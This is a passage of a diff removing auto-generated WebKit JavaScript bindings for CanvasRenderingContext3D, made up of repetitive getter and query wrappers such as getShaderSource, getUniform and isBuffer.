-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    unsigned index = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getActiveUniform(program, index, ec)));
-    setDOMException(exec, ec);
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetAttribLocation(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    const UString& name = args.at(1).toString(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getAttribLocation(program, name));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetBoolean(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned pname = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = jsBoolean(imp->getBoolean(pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetBooleanv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned pname = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getBooleanv(pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetBufferParameteri(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getBufferParameteri(target, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetBufferParameteriv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getBufferParameteriv(target, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetError(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getError());
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetFloat(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned pname = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getFloat(pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetFloatv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned pname = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getFloatv(pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetFramebufferAttachmentParameteri(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned attachment = args.at(1).toInt32(exec);
-    unsigned pname = args.at(2).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getFramebufferAttachmentParameteri(target, attachment, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetFramebufferAttachmentParameteriv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned attachment = args.at(1).toInt32(exec);
-    unsigned pname = args.at(2).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getFramebufferAttachmentParameteriv(target, attachment, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetInteger(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned pname = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getInteger(pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetIntegerv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned pname = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getIntegerv(pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetProgrami(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getProgrami(program, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetProgramiv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getProgramiv(program, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetProgramInfoLog(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-
-
-    JSC::JSValue result = jsString(exec, imp->getProgramInfoLog(program));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetRenderbufferParameteri(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getRenderbufferParameteri(target, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetRenderbufferParameteriv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getRenderbufferParameteriv(target, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetShaderi(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasShader* shader = toCanvasShader(args.at(0));
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getShaderi(shader, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetShaderiv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasShader* shader = toCanvasShader(args.at(0));
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getShaderiv(shader, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetShaderInfoLog(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasShader* shader = toCanvasShader(args.at(0));
-
-
-    JSC::JSValue result = jsString(exec, imp->getShaderInfoLog(shader));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetShaderSource(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasShader* shader = toCanvasShader(args.at(0));
-
-
-    JSC::JSValue result = jsString(exec, imp->getShaderSource(shader));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned name = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = jsString(exec, imp->getString(name));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetTexParameterf(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getTexParameterf(target, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetTexParameterfv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getTexParameterfv(target, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetTexParameteri(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getTexParameteri(target, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetTexParameteriv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getTexParameteriv(target, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformf(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    int location = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getUniformf(program, location));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformfv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    int location = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getUniformfv(program, location)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformi(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    int location = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getUniformi(program, location));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformiv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    int location = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getUniformiv(program, location)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformLocation(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    const UString& name = args.at(1).toString(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getUniformLocation(program, name));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribf(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned index = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getVertexAttribf(index, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribfv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned index = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getVertexAttribfv(index, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribi(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned index = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getVertexAttribi(index, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribiv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned index = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getVertexAttribiv(index, pname)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribOffset(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned index = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->getVertexAttribOffset(index, pname));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionHint(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned mode = args.at(1).toInt32(exec);
-
-    imp->hint(target, mode);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsBuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasBuffer* buffer = toCanvasBuffer(args.at(0));
-
-
-    JSC::JSValue result = jsBoolean(imp->isBuffer(buffer));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsEnabled(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned cap = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = jsBoolean(imp->isEnabled(cap));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsFramebuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasFramebuffer* framebuffer = toCanvasFramebuffer(args.at(0));
-
-
-    JSC::JSValue result = jsBoolean(imp->isFramebuffer(framebuffer));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsProgram(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-
-
-    JSC::JSValue result = jsBoolean(imp->isProgram(program));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsRenderbuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasRenderbuffer* renderbuffer = toCanvasRenderbuffer(args.at(0));
-
-
